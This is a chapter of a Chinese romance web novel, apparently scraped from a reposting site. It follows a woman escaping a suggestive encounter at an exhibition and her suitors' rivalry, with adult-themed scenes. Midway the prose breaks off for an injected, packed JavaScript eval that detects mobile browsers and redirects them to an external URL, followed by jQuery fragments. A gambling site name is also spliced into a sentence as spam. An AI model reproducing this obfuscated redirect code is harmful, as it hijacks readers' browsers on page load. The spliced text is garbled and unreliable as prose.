大小姐训狗实录黄色大樱桃

20. 男德

    叙白垂眸注视着白绯,就像看着不慎撞上蜘蛛网的蝴蝶,眼里满是势在必得。


    白绯在短暂的慌乱过后很快就镇定下来。


    “呵...”她突然低头轻笑了一声,紧跟着微微侧头,轻佻妩媚的视线像钩子似地顺着叙白滚动的喉结一路向上,扫过他紧绷的下颌线,最后直直注视着他涌动着欲望的双眸。


    纤长的睫毛掀起,下面仿佛盈着一汪春水:“想要被我玩,就得先学会听话。”


    白绯红唇微微开合,吐出的话语却惊世骇俗:“跪下。”


    然而叙白犹豫片刻,竟真的缓缓松开了手,屈膝跪在了地上。


    猎人与猎物的身份掉转,白绯居高临下地看着叙白,红底漆皮的高跟鞋抵住他穿着西装裤的膝盖前。


    她在叙白一瞬不瞬的注视中,缓缓将黑色的真丝裙摆提到了膝盖,露出一截线条优美的小腿。


    “咕咚”一声,吞咽口水的声音在寂静的大厅里格外明显。叙白眼看着白绯后背靠着展示柜的玻璃,慢慢抬腿屈膝,踩在了自己的肩头。


    坚硬的高跟鞋底隔着衬衫戳在柔软的皮肤上,带来细微的疼痛。


    叙白的胸膛不住起伏,脖颈拉出紧绷的弧线。笔挺的衬衫下肌肉偾张,袖口卷到手肘,露出结实的小臂。皮带掐着一截窄腰,臀部挺翘,充满了男性的爆发力。


    “闭眼。”女王冷冷发布了命令。


    叙白火热的目光牢牢锁定白绯,偏头吻上脸侧的脚踝,滚烫的唇贴着皮肤不住游移,顺着饱满的小腿肚一路往上,仿佛下一刻,就要站起来,将这骄傲且不可一世的主人掀翻在地。


    白绯神色如常,只毫不留情地加大了脚下的力度,又把叙白踩了回去。


    叙白浑身战栗,温顺地闭上了眼睛,宛若引颈就戮,等待着主人赏赐下惩罚。


    白茶花的香气靠近,染着豆蔻的手指拂过脖颈处跳动的颈动脉,意味深长地来回划动,仿佛尖刀随时准备割破血管,让脉动的鲜血喷涌而出。


    叙白只觉得自己的灵魂都在忍受煎熬,偏过头去想要追逐那双生杀予夺的手,却被带着侮辱性质地拍了拍脸颊。


    “不乖的小野狗,是要受到惩罚的。”湿热的吐息在耳边响起,手指顺着喉结一路往下,一颗颗解开了衬衫的纽扣。


    快感的电流顺着尾椎骨一路往上,让叙白的额头甚至都微微出了汗。


    他静静等待着,静静等待着,然后就听到保安压抑的惊呼:“叙医生,你怎么跪在地上?!”


    叙白猛地睁开眼,只是眼前哪里还有白绯的影子,只有一具展现着全身肌肉的大体老师正含笑看着他。


    保安看着袒胸露乳的叙医生,一脸的莫名其妙。


    “我没事。”叙白牙咬得咯吱直响,额角青筋跳动。他站起身拢住敞开的衣襟,又恢复了那副风度翩翩的模样,转身就走。


    保安疑惑地挠了挠头,看着展示柜里的标本,心想,难道叙医生是被大体老师的奉献精神感动,所以在这下跪磕头呢?不过下跪就下跪,他脱衣服干嘛?和大体老师battle肌肉呢?


    此刻另一边,白绯早已溜到了展厅门口。她怕引起叙白的注意,甚至脱掉了高跟鞋,光着脚一路跑了出来。


    她扶着墙壁把提在手上的高跟鞋又重新穿了回去,正准备掏出手机叫车,门口停车场却来了一辆熟悉的车,正是她自己的奔驰。


    是谁这么心有灵犀?


    车门打开,下车的竟然是祝临川。他站在驾驶室边,眼神游移,欲言又止。


    之前当他回到小楼,发现叙白的车不见时,还心生窃喜。祝临川原本是想一直在一楼大厅守着的,奈何白书远喊他去后头小屋帮忙整理库存,他不好拒绝,只能一步三回头地走了。


    他起初还以为是叙白一直没等到白绯,只能铩羽而归,结果周芸却告诉他:“绯绯啊,叙医生和她一起看展览去啦~就在xxx大会展中心。”


    天塌了。


    祝临川扭头就想去找白绯,然而走了两步却又顿在了原地。


    也许老天是在趁此机会暗示他,白绯并不属于他,他该放手了。既然她遇到了优秀的追求者,找到了自己的幸福,那么自己就该默默在身后祝福才是。毕竟该是他的别人抢不走,不属于他的强求也没有用。


    没用个屁啊!然而祝临川很快就甩开了这个念头,他毅然决然地从前台抽屉里拿出白绯的车钥匙,一脚油门就开了出去。


    然而满腔的鸡血在看到白绯的瞬间却偃旗息鼓。祝临川的大脑疯狂运转,他该怎么和白绯解释自己到这里的理由,白绯会不会觉得他这样阴魂不散地打扰她约会十分讨厌?


    然而还不等他琢磨出个一二三,白绯已经踩着高跟鞋朝这里冲刺过来。她一脸他乡遇故知的惊喜,拉开车门就一头钻进了副驾,活像被鬼撵着似的。


    “快走快走。”白绯哐地一声甩上车门,隔着窗户催促还傻傻站在外面的祝临川,“趁人还没出来,咱们赶紧溜!”


    祝临川不明所以,但不妨碍他快速执行白绯的指令。他长腿一迈坐进驾驶室,果断踩下油门,掉转车头离开了会展中心。


    “发生什么了吗?”祝临川指节轻轻敲着方向盘,在等红灯的间隙悄悄瞥了眼白绯,斟酌着问道,“玩得还开心吗?叙医生呢?”


    白绯瘫在座椅上有气无力地摆摆手:“别提了。”


    她拿乖巧的祝临川给自己洗眼,心里默默吐槽,她知道人可以变态,但真没想到可以这么变态。白绯感觉经此一役,自己已经精神阳痿,短时间内对男色都提不起任何兴趣了。


    二人回了小楼,周芸看到她这么早就回来了很是意外,脱口而出道:“怎么这么早回来了?”


    看完展不该顺便看个电影吃个饭吗?都是火气正旺的年轻人,约完会要是彼此对眼再去开个房酱酱酿酿都很正常,莫非...


    周芸含蓄道:“叙医生,是不是....不行啊?”


    白绯:...妈妈你正常点我害怕。


    周芸瞟了不远处的祝临川一眼,拉着白绯的胳膊走到一边,语重心长道:“听妈一句话,下次再结婚,还是得先试试。不是有个电影还叫试婚吗?尤其是男人那方面,要是不行就赶紧跑,不然就是守活寡!你可别小看这个,床上和谐,才能婚姻幸福。妈和你爸这么多年还能恩爱,还不就是...咳,反正你可千万记着,都25世纪了,不讲究贞操那玩意儿了,该睡就睡,知道了吗?”


    白绯尴尬地应了一声,她没好意思告诉周芸,叙医生应该是行的,可能都有点太行了。


    受此惊吓,她这几天一直蔫蔫的,不是躲在后头平屋里练


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092446|163672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    习缝合,就是在折纸活。


    白绯清点了下库存,又给小楼里添了台3d打印机,再入手了几个模特试穿寿衣,还进货了几颗漂亮的头骨,沉浸在事业中的她感受到了久违的平静。


    唯一奇怪的就是,祝临川这小子最近老在自己眼前晃。


    今天祝临川难得脱掉了他常穿的白衬衫,换了一身黑色紧身背心。他走进平屋,开始收拾里面的随葬品,肌肉随着发力的动作鼓起,充满了爆发力。


    白绯欣赏了几眼祝临川衣服包裹下的线条。他是那种时下流行的薄肌身材,肩膀宽阔厚实,胸肌轮廓分明。


    “你在干嘛呢!”白绯关掉平板上的澳门新葡京,屏幕上的怪物刚好咬掉了人的脑袋,血浆爆裂。


    “阿姨说让我清点下库存,顺便做下整理。”祝临川回答。汗水顺着他的额头滑落,他便单手撩起背心的下摆,擦了擦脸上的汗。紧实的八块腹肌因此暴露在视线中,线条清晰的人鱼线顺着腰线向下延伸,消失在灰色的运动裤中。


    “哦,热了就休息会儿。”白绯挠了挠下巴,左手夹着一个模特,右手揣着一个头骨,头也不回地走了。


    等白绯的身影消失不见,祝临川便停下了手中的动作。


    他眉头紧皱,眼中风雨欲来。难道...白绯已经被那个狗屁心理医生勾走了魂,对自己没兴趣了吗?


    祝临川看着怀里的纸人,心中很是不安。今天,他特意换上背心在白绯面前秀身材,然而白绯却对自己连看一眼都欠奉。果然,得到了以后就不再珍惜,难道,他将要失去白绯的宠爱吗?


    白绯走了,祝临川也懒得在这里演戏,把东西收拾好后也回了小楼。大厅里,陈安夏和小施正头对头在看着什么,还时不时发出诡异的笑声。


    “哇,穿着睡衣看不出来,没想到脱了衣服这么有料!”


    “小施哥,我跟你讲,全脱有什么意思,犹抱琵琶半遮面才勾魂。嘿嘿,我给你看看这个~”


    祝临川耳朵一动,停住了脚步。


    小施和陈安夏毫无察觉,他们正捧着手机,专注欣赏着上面的擦边男主播。


    只见陈安夏从自己的收藏中挑出一个视频,献宝似地展示给小施看:“你看这个,胸链,男人的黑丝!”


    屏幕上,昏暗暧昧的灯光下,赤裸着上半身的男人脖颈胸膛上缠绕着一条精致的胸链,随着他的动作轻轻晃动,反射出细碎的光芒。他微微仰着头,骨节分明的手指充满暗示意味地抚摸着轻颤的喉结,眼神迷离。


    小施小脸通黄,感叹道:“哇~安夏,看不出来啊,你平时这么害羞,原来在网络上这么大胆的吗?”


    陈安夏不好意思地小声回道:“嘿嘿,现实中我唯唯诺诺,网络上我直接嗨老婆…这些男菩萨…哎哟我的妈…”


    说话间她猛地抬头看到站在小施背后的人,被吓得直接一个后仰,连滚带爬蹿上了沙发。


    待看清来人是祝临川后,安夏摸着砰砰狂跳的胸口,哭笑不得地埋怨道:“临川,你怎么不吱声啊,吓死我了…”


    祝临川一脸高深莫测,冲二人点点头,又沉默着飘走了,只留下小施和安夏面面相觑。


    安夏:“临川他怎么怪怪的?”


    小施看看屏幕上还在拼命擦的男主播,猜测道:“可能发现了新大陆?”